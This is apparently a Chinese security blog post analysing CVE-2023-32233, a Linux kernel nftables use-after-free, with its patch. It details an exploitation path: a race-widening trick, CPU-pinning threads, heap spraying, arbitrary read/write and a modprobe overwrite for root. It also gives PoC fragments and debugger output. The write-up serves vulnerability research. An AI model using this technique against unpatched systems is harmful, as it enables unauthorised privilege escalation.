CVE-2023-32233 Linux 内核 UAF 漏洞分析与利用
Linux 内核 nftable 模块在处理匿名 set 时存在 UAF.
漏洞分析
漏洞成因是 nf_tables_deactivate_set
在释放匿名 set 时没有将 set 的标记设置为 inactive,导致它还能被此次 netlink 批处理中的其他任务访问,从而导致 UAF,为了介绍该漏洞和漏洞利用需要先对 netlink 的源码进行分析。
本文使用的源码版本: linux-6.1.tar.gz
源码分析
用户态进程可以一次提交多个 netlink 请求给内核,这些请求在内存中按顺序存储,请求的存储结构为 struct nlmsghdr
,下发请求后内核通过 nfnetlink_rcv_batch 解析每个请求并处理。
用户态填充和发送请求的大致代码如下:
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
// 在批处理中新建请求
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq++
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
// 发送请求给内核处理
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
netlink 批处理消息的处理流程涉及两个线程,nfnetlink_rcv_batch 在进程的系统调用上下文中执行对请求处理后,将请求转换为 trans 通过 nf_tables_destroy_list 提交给 nf_tables_trans_destroy_work 内核线程做进一步处理。
nfnetlink_rcv_batch 的关键代码如下:
-
nfnetlink_rcv_batch
-
while (skb->len >= nlmsg_total_size(0))
- nc = nfnetlink_find_client(type, ss); --> struct nfnl_callback nf_tables_cb[NFT_MSG_MAX]
- err = nc->call(skb, &info, (const struct nlattr **)cda); --> 调用命令的处理函数
-
err = ss->commit(net, oskb)
-
nf_tables_commit
-
遍历 nft_net->commit_list 根据 trans 类型进行处理
-
case NFT_MSG_DELSETELEM:
- nft_setelem_remove(net, te->set, te->elem_priv);
-
-
nf_tables_commit_release
- 把 commit_list 里面的请求放到 nf_tables_destroy_list,然后让 nf_tables_trans_destroy_work 去销毁
- list_splice_tail_init(&nft_net->commit_list, &nf_tables_destroy_list);
- schedule_work(&trans_destroy_work); --> 调度 nf_tables_trans_destroy_work
-
-
-
主要的处理逻辑是:
- 遍历批处理中的每个请求,根据请求的 type 去 ss 中查找对应的处理函数,本文使用的 ss 会引用 nf_tables_cb 回调函数注册表
- 通过 nc->call 调用请求对应的处理函数,处理函数中对请求处理后,一般会分配 trans 对象并将其放到 commit_list 中
- 处理批处理中的所有请求后,会调用 ss->commit --> nf_tables_commit 从 commit_list 取出 trans 进行第二次处理
- nf_tables_commit 最后通过 nf_tables_commit_release 把 commit_list 放到 nf_tables_destroy_list 中,然后让 nf_tables_trans_destroy_work 线程完成最后的处理
nf_tables_trans_destroy_work 的主要代码如下:
-
nf_tables_trans_destroy_work
-
list_splice_init(&nf_tables_destroy_list, &head);
-
list_for_each_entry_safe(trans, next, &head, list --> 遍历 nf_tables_destroy_list 中的 trans.
- nft_commit_release(trans); --> 根据 trans 的类型进行相应处理
-
以 NFT_MSG_DELSETELEM 请求为例跟一下请求的处理路径加深理解,首先会进入 nf_tables_delsetelem 进行处理,处理后会分配 trans 并将其放到 commit_list 中
trans = nft_trans_elem_alloc(ctx, NFT_MSG_DELSETELEM, set);
if (trans == NULL)
goto fail_trans;
nft_trans_elem(trans) = elem;
nft_trans_commit_list_add_tail(ctx->net, trans);
然后 nf_tables_commit 会处理 trans
case NFT_MSG_DELSETELEM:
te = (struct nft_trans_elem *)trans->data;
nf_tables_setelem_notify(&trans->ctx, te->set,
&te->elem,
NFT_MSG_DELSETELEM);
nft_setelem_remove(net, te->set, &te->elem);
if (!nft_setelem_is_catchall(te->set, &te->elem)) {
atomic_dec(&te->set->nelems);
te->set->ndeact--;
}
break;
最后在 nf_tables_trans_destroy_work --> nft_commit_release 完成最后的处理。
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy(&trans->ctx,
nft_trans_elem_set(trans),
nft_trans_elem(trans).priv);
break;
漏洞触发
接下来看一下漏洞触发的代码路径和内存变化,触发 UAF 的步骤如下:
-
创建一个匿名 set (pwn_lookup_set)并往 set 里面插入一个 elem
-
创建一个 rule ,rule 里面新建一个 lookup 的 expr, lookup expr 会引用 pwn_lookup_set
-
创建一个批处理其中包含两个请求:
- 使用 NFT_MSG_DELRULE 删除上一步创建的 rule
- 使用 NFT_MSG_DELSETELEM 删除 pwn_lookup_set 的 elem
-
在 nft_commit_release 处理 NFT_MSG_DELRULE 时会释放 rule 里面的 expr,然后在 nft_lookup_destroy 里面会释放匿名 set
-
在 nft_commit_release 处理 NFT_MSG_DELSETELEM 就会访问到已经释放的 set.
下面以图和代码结合的形式分析内存状态的变化,创建匿名 set 和 rule 后的内存关系如下:
PS: pwn_lookup_set 是一个匿名 set ,里面有一个 elem; rule 里面有一个 lookup 类型的 expr,其中引用了 pwn_lookup_set
请求提交给内核后,会在 nfnetlink_rcv_batch 获取相关对象的指针(rule、set 、elem 的指针),然后将其封装到 trans 对象中,最后在 nf_tables_trans_destroy_work --> nft_commit_release 完成具体的释放。
在 nft_commit_release 处理 NFT_MSG_DELRULE 命令时会同步释放 rule 里面的 expr,在释放 lookup expr 时会进入 nft_lookup_destroy 释放其关联的 set ,即 pwn_lookup_set
static void nft_lookup_destroy(const struct nft_ctx *ctx,
const struct nft_expr *expr)
{
struct nft_lookup *priv = nft_expr_priv(expr);
nf_tables_destroy_set(ctx, priv->set);
}
然后在处理 NFT_MSG_DELSETELEM 时就会用到已经被释放的 set,因为内核无法知道其 trans 保存的 set 指针已经被释放
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem);
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));
kfree(elem);
}
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy(&trans->ctx,
nft_trans_elem_set(trans),
nft_trans_elem(trans).priv);
break;
最后总结一下:在 nfnetlink_rcv_batch 处理 NFT_MSG_DELRULE 和 NFT_MSG_DELSETELEM 会把分别需要用到的对象指针(rule 指针和 set 指针)保存到 trans,然后在 nf_tables_trans_destroy_work 处理 NFT_MSG_DELRULE 命令释放 rule 和 set 时,NFT_MSG_DELSETELEM 请求已经在队列中了,然后在处理 NFT_MSG_DELSETELEM 时就会拿到该 trans 里面保存的 set 指针,而此时该指针指向的对象已经被释放。
补丁分析
关键点:
void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set,
struct nft_set_binding *binding,
enum nft_trans_phase phase)
{
switch (phase) {
case NFT_TRANS_PREPARE:
+ if (nft_set_is_anonymous(set))
+ nft_deactivate_next(ctx->net, set);
+
set->use--;
return;
case NFT_TRANS_ABORT:
在 NFT_TRANS_PREPARE 阶段,如果 set 是匿名的就将其设置为 inactivate 状态,这样批处理后面的其他请求就无法拿到该 set 的指针。
在 nf_tables_delrule 里面会使用 NFT_TRANS_PREPARE 参数调用 nft_rule_expr_deactivate:
-
nf_tables_delrule
-
nft_delrule_by_chain
-
nft_delrule
- nft_rule_expr_deactivate(ctx, rule, NFT_TRANS_PREPARE);
-
-
打上补丁后,NFT_MSG_DELRULE 就会进入 nf_tables_deactivate_set 把 expr 引用的匿名 set 标记为 inactivate,这样后面的 NFT_MSG_DELSETELEM 就拿不到该 set 的指针,在 nf_tables_delsetelem --> nft_set_lookup 里面会校验 set 的状态:
static struct nft_set *nft_set_lookup(const struct nft_table *table,
const struct nlattr *nla, u8 genmask)
{
struct nft_set *set;
if (nla == NULL)
return ERR_PTR(-EINVAL);
list_for_each_entry_rcu(set, &table->sets, list) {
if (!nla_strcmp(nla, set->name) &&
nft_active_genmask(set, genmask))
return set;
}
return ERR_PTR(-ENOENT);
}
漏洞利用
越界销毁 expr
前面我们对漏洞成因和漏洞触发涉及的部分源码进行了分析,下面讨论漏洞利用部分,首先我们看看 USE 点的相关代码:
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem);
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));
kfree(elem);
}
在执行 nf_tables_set_elem_destroy 时 set 已经被释放,可以用不同类型的 set 占位,进而控制 ext ,最终导致越界释放一个 expr。
要理解这一步需要搞清楚 set 和 elem 的结构关系,这些信息可以通过 nft_add_set_elem 获取,主要代码如下:
-
nft_add_set_elem
-
nft_set_ext_prepare(&tmpl);
-
nft_set_ext_add(&tmpl, NFT_SET_EXT_FLAGS);
-
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY, set->klen);
-
nft_set_ext_add_length(&tmpl, NFT_SET_EXT_USERDATA, ulen);
-
elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data, elem.key_end.val.data, elem.data.val.data, timeout, expiration, GFP_KERNEL_ACCOUNT);
- elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
- nft_set_ext_memcpy(tmpl, NFT_SET_EXT_KEY, nft_set_ext_key(ext), key, set->klen)
-
nla_memcpy(&nft_set_ext_userdata(ext)->data, nla[NFTA_SET_ELEM_USERDATA], ulen);
-
nft_setelem_insert(ctx->net, set, &elem, &ext2, flags)
-
nft_rhash_insert
- struct nft_rhash *priv = nft_set_priv(set);
- struct nft_rhash_elem *he = elem->priv;
- rhashtable_lookup_get_insert_key(&priv->ht, &arg, &he->node, nft_rhash_params); 把 elem 插入到 set 里面
-
-
通过分析可知 elem 的数据结构如下:
elem 的开头数据大小为 set->ops->elemsize 其中的数据结构与 set 的类型相关,本文主要涉及 nft_set_rhash_type 和 nft_set_hash_type ,两者的 elemsize 分别为 8 和 0x10.
elem 的第二个部分是 struct nft_set_ext 结构体,在 struct nft_set_ext 的后面是实际的 ext 数据,ext->offset 是一个 9 字节的数组,数组中的每一项表示该类型的数据相对 ext 结构起始地址的偏移。
下图是一个存储了 NFT_SET_EXT_KEY 和 NFT_SET_EXT_EXPRESSIONS 的 elem 对象的布局:
PS: offset[0] 保存了 NFT_SET_EXT_KEY 数据相对 ext 的偏移; offset[7] 保存了 NFT_SET_EXT_EXPRESSIONS 数据相对 ext 的偏移;内核根据偏移就能计算出相应数据的地址。
下面再看一下内核访问 NFT_SET_EXT_EXPRESSIONS 使用的相关代码:
static inline void *nft_set_ext(const struct nft_set_ext *ext, u8 id)
{
return (void *)ext + ext->offset[id];
}
static inline struct nft_set_elem_expr *nft_set_ext_expr(const struct nft_set_ext *ext)
{
return nft_set_ext(ext, NFT_SET_EXT_EXPRESSIONS);
}
nft_set_ext_expr 首先从 ext->offset[NFT_SET_EXT_EXPRESSIONS] 取出偏移,然后加上 ext 地址,最后强转为 struct nft_set_elem_expr
指针。
再次回到漏洞原语:
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem);
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));
kfree(elem);
}
如果我们首先设置 set->ops->elemsize = 8,触发 free 后使用 set->ops->elemsize = 0x10 的 set 占位,这样 nft_set_elem_ext 计算出的 ext 就会发生 8 字节的错位:
错位后拿到的 ext->offset[2...8]
位于原始 ext 的 EXT_KEY 部分,该数据由用户态控制:
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len); --> 设置 EXT_KEY
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));
nftnl_set_elem_add(set, set_elem);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq
);
通过控制 ext->offset[NFT_SET_EXT_EXPRESSIONS],可以让 nft_set_ext_expr(ext) 返回一个非法的地址作为 nft_set_elem_expr,非法的 expr 会在 nft_set_elem_expr_destroy 中被释放
static void nft_set_elem_expr_destroy(const struct nft_ctx *ctx,
struct nft_set_elem_expr *elem_expr)
{
struct nft_expr *expr;
u32 size;
nft_setelem_expr_foreach(expr, elem_expr, size)
__nft_set_elem_expr_destroy(ctx, expr);
}
expr 最终会在 nf_tables_expr_destroy 被释放
static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
struct nft_expr *expr)
{
const struct nft_expr_type *type = expr->ops->type;
if (expr->ops->destroy)
expr->ops->destroy(ctx, expr);
module_put(type->owner);
}
由于我们目前并没有泄露内核地址,所以无法控制 expr->ops 来劫持控制流,作者采取的思路是控制 ext->offset[NFT_SET_EXT_EXPRESSIONS] 让 nft_set_ext_expr 返回一个合法的 expr,具体思路是通过堆布局在 elem 相邻位置布置 expr,然后通过 UAF 销毁相邻的 合法 expr,进行漏洞的转换,作者使用的是 nft_log_type
static struct nft_expr_type nft_log_type;
static const struct nft_expr_ops nft_log_ops = {
.type = &nft_log_type,
.size = NFT_EXPR_SIZE(sizeof(struct nft_log)),
.eval = nft_log_eval,
.init = nft_log_init,
.destroy = nft_log_destroy,
.dump = nft_log_dump,
.reduce = NFT_REDUCE_READONLY,
};
static struct nft_expr_type nft_log_type __read_mostly = {
.name = "log",
.ops = &nft_log_ops,
.policy = nft_log_policy,
.maxattr = NFTA_LOG_MAX,
.owner = THIS_MODULE,
};
static void nft_log_destroy(const struct nft_ctx *ctx,
const struct nft_expr *expr)
{
struct nft_log *priv = nft_expr_priv(expr);
struct nf_loginfo *li = &priv->loginfo;
if (priv->prefix != nft_log_null_prefix)
kfree(priv->prefix);
if (li->u.log.level == NFT_LOGLEVEL_AUDIT)
return;
nf_logger_put(ctx->family, li->type);
}
通过销毁 log expr 可以导致 nft_log->prefix 的 UAF.
稳定占位 UAF 对象
下面讨论如何稳定的占位被释放的 set ,根据前面的代码分析可知 set 会在 nf_tables_trans_destroy_work 线程中被释放和重用, free 和 use 点之间在一个大循环中完成
list_for_each_entry_safe(trans, next, &head, list) {
list_del(&trans->list);
nft_commit_release(trans);
}
PS: 1. 第一次循环删除 rule 导致 set 被释放; 2. 第二次循环引用被释放的 set.
对于该漏洞的占位需要解决两个问题:
- 由于 nf_tables_trans_destroy_work 是内核线程,用户态无法知道它实际运行时所处的 CPU,如果发起占位请求的进程所处 CPU 和它的CPU 不一致会导致占位失败(CONFIG_SLUB_CPU_PARTIAL)
- free 点和 use 点之间的时间窗比较小,需要想办法增大,否则无法在狭窄的时机窗完成占位
首先是第一个问题,用户态进程可以通过设置 CPU 亲和性的方式将进程或者线程绑定到某个 CPU 去执行,对于内核线程则是随机调度用户态无法控制,作者采取的方案是利用 死循环线程占位 CPU(1, 2, 3),提高内核将 nf_tables_trans_destroy_work 调度到某个特定 CPU (0)的可能性,如图所示:
PS: 没记错的话这种占位其他 CPU 的方式之前一些 binder 系统服务的漏洞利用中出现过
第二个问题的解决利用 nft_commit_release 中会循环删除元素的特性,在删除 set 时会遍历删除 set 里面所有的 elem
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return;
for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]);
set->ops->destroy(set); // 遍历删除 set 里面的所有 elem
nft_set_catchall_destroy(ctx, set);
kfree(set->name);
kvfree(set);
}
可以利用代码的循环增大时间窗,具体做法如下,下发三个请求分别为:
- NFT_MSG_DELRULE 删除 rule 及它引用的匿名 set
- NFT_MSG_DELSET 删除 delay_set ,该 set 里面有大量的 elem
- NFT_MSG_DELSETELEM 引用被释放的匿名 set
在 nf_tables_trans_destroy_work 处理第二个请求释放 delay_set 时,会花很多时间释放其中的 elem,这时我们可以在用户态堆喷占位 set。
通过调试可以确认 pwn_lookup_set 被占位后, ops->elemsize 从 8 变成了 16
(gdb) p (((struct nft_trans_elem *)trans->data)->set)->name
$12 = 0xffff888113fffea0 "race_set_0004"
(gdb) p *(((struct nft_trans_elem *)trans->data)->set)->ops
$13 = {
lookup = 0xffffffffc085ff00 <nft_hash_lookup>,
update = 0x0 <fixed_percpu_data>,
delete = 0x0 <fixed_percpu_data>,
insert = 0xffffffffc085fa10 <nft_hash_insert>,
activate = 0xffffffffc085f420 <nft_hash_activate>,
deactivate = 0xffffffffc085f950 <nft_hash_deactivate>,
flush = 0xffffffffc085f450 <nft_hash_flush>,
remove = 0xffffffffc085f480 <nft_hash_remove>,
walk = 0xffffffffc085f4c0 <nft_hash_walk>,
get = 0xffffffffc085fe40 <nft_hash_get>,
privsize = 0xffffffffc085f830 <nft_hash_privsize>,
estimate = 0xffffffffc085f7d0 <nft_hash_estimate>,
init = 0xffffffffc085f790 <nft_hash_init>,
destroy = 0xffffffffc085f690 <nft_hash_destroy>,
gc_init = 0x0 <fixed_percpu_data>,
elemsize = 16
}
(gdb) bt
#0 0xffffffffc0850984 in nft_commit_release (trans=0xffff88811e22da00) at net/netfilter/nf_tables_api.c:8476
#1 nf_tables_trans_destroy_work (w=<optimized out>) at net/netfilter/nf_tables_api.c:8513
#2 0xffffffff810e581c in process_one_work (worker=worker@entry=0xffff8881039c7540, work=0xffffffffc0872380 <trans_destroy_work>) at kernel/workqueue.c:2289
#3 0xffffffff810e5a40 in worker_thread (__worker=0xffff8881039c7540) at kernel/workqueue.c:2436
#4 0xffffffff810ee77a in kthread (_create=0xffff888107f66640) at kernel/kthread.c:376
#5 0xffffffff810028bf in ret_from_fork () at arch/x86/entry/entry_64.S:306
#6 0x0000000000000000 in ?? ()
堆风水分析
占位 set 后可以让 elem 错位,利用 nf_tables_set_elem_destroy 可以越界销毁一个 expr,因此我们需要在 elem 的附近布置 nft_log expr,elem 在 nft_add_set_elem 中被分配,分配的 flag 为 GFP_KERNEL_ACCOUNT,分配大小可以控制。
log expr 可以通过 newrule 请求分配,分配的 flag 为 GFP_KERNEL_ACCOUNT,log expr 会嵌入到 rule 的内存中。
-
nf_tables_newrule
-
handle = nf_tables_alloc_handle(table);
-
nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
-
size = 0;
-
nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) --> 计算 expr 占用的内存大小
- err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]); --> 根据 expr 挑选 ops
- size += expr_info[n].ops->size;
-
ulen = nla_len(nla[NFTA_RULE_USERDATA]);
-
usize = sizeof(struct nft_userdata) + ulen;
-
rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
-
rule->dlen = size; --> expr 占用的内存
-
然后往 rule->data 区域填充 expr (顺序排布)
-
nf_tables_newexpr(&ctx, &expr_info[i], expr)
-
nft_log_init
- nla = tb[NFTA_LOG_PREFIX];
- priv->prefix = kmalloc(nla_len(nla) + 1, GFP_KERNEL);
- nla_strscpy(priv->prefix, nla, nla_len(nla) + 1);
-
-
-
堆喷之后的内存布局示意图如下:
PS: nft_log expr 内嵌在 rule 结构中,控制 elem 的 offset 让其返回指向相邻 nft_log expr 的指针,就可以销毁 nft_log expr
poc 中堆喷逻辑如下:
for (int spray = - 0x60; spray < 0x21; ++ spray) {
if (spray == 0) {
pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key));
}
else {
pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
}
}
就是在 elem 前后喷几十个 rule 确保 elem 被 rule 包围
在分配 rule 和 elem 的位置下断点打印分配的地址可以确认堆喷情况
def newrule_cb(bp):
rule = get_symbol_address("rule")
print("[new_rule] 0x{:08x}".format(rule))
return False
newrule_bp = WrapperBp("net/netfilter/nf_tables_api.c:3526", cb=newrule_cb)
def add_set_elem_cb(bp):
elem = get_symbol_address("elem.priv")
print("[add_set_elem] 0x{:08x}".format(elem))
return False
add_set_elem_bp = WrapperBp("net/netfilter/nf_tables_api.c:6154", cb=add_set_elem_cb)
部分日志如下
log rule 和 pwn_set 的 elem 的堆喷布局看起来用的大小应该是 0x80
[new_rule] 0xffff88810dd7a300
[new_rule] 0xffff88810dd7ad00
[new_rule] 0xffff88810dd7ad80
[add_set_elem] 0xffff88810dd7a980
[new_rule] 0xffff88810dd7a280
[new_rule] 0xffff88810dd7a800
[new_rule] 0xffff88810dd7ab00
[new_rule] 0xffff88810dd7a200
[new_rule] 0xffff88810dd7a480
[new_rule] 0xffff88810dd7a380
[new_rule] 0xffff88810dd7a500
[new_rule] 0xffff88810dd7af00
[new_rule] 0xffff88810dd7a580
[new_rule] 0xffff88810dd7ae80
[new_rule] 0xffff88810dd7a900 ---> elem 前面的 rule
[new_rule] 0xffff88810dd7aa80
[new_rule] 0xffff88810dd7aa00 ---> elem 后面的 rule
[new_rule] 0xffff88810dd7ab80
任意地址读写
至此我们将漏洞转换为了 nft_log->prefix 的 UAF ,该内存通过 GFP_KERNEL 分配且大小可控,prefix 是一个字符串用起来不方便,使用 nft_object->udata
占位后,通过 nft_log 释放 prefix,转换为 udata 的 UAF
static int nf_tables_newobj(struct sk_buff *skb, const struct nfnl_info *info,
const struct nlattr * const nla[])
{
if (nla[NFTA_OBJ_USERDATA]) {
obj->udata = nla_memdup(nla[NFTA_OBJ_USERDATA], GFP_KERNEL);
if (obj->udata == NULL)
goto err_userdata;
obj->udlen = nla_len(nla[NFTA_OBJ_USERDATA]);
}
然后通过 nft_dynset_new
分配 nft_counter
和 nft_quota
占位 udata,通过读取 udata 泄露nft_counter
中的 ko 地址,然后利用 udata 修改 nft_quota->consumed 实现任意地址读写。
struct nft_quota {
atomic64_t quota;
unsigned long flags;
atomic64_t *consumed;
};
static inline bool nft_overquota(struct nft_quota *priv,
const struct sk_buff *skb)
{
return atomic64_add_return(skb->len, priv->consumed) >=
atomic64_read(&priv->quota);
}
static int nft_quota_do_dump(struct sk_buff *skb, struct nft_quota *priv,
bool reset)
{
u64 consumed, consumed_cap, quota;
u32 flags = priv->flags;
/* Since we inconditionally increment consumed quota for each packet
* that we see, don't go over the quota boundary in what we send to
* userspace.
*/
consumed = atomic64_read(priv->consumed);
}
修改 modprobe 提权。
总结
漏洞挖掘
这个漏洞涉及的代码非常多,包括对象的管理、netlink 请求的处理流程,涉及多个线程、全局链表的协同,需要对相关代码十分熟悉才能通过代码审计发现该漏洞,不过之前好像也出过匿名 set 的洞,如果专门去看匿名 set 相关逻辑应该可以降低漏洞挖掘难度。而且驱动代码确实对匿名 set 有特别的处理导致这个漏洞的产生,启示我们在做代码审计时需要重点关注特判的逻辑场景。
漏洞利用
- 这个漏洞的原语相当于越界类型混淆,由于没有地址泄露无法伪造 expr 对象,所以布置一个合法对象将漏洞转换为 prefix 的 UAF。
- 通过 CPU 占位控制内核线程调度的思路非常巧妙,内核中有不少漏洞都是在内核线程里面触发,这个思路可以提升这类漏洞的可利用性。
- 利用程序循环来提升 RACE 是比较常用的思路,遇到类似场景可以选用。
参考资料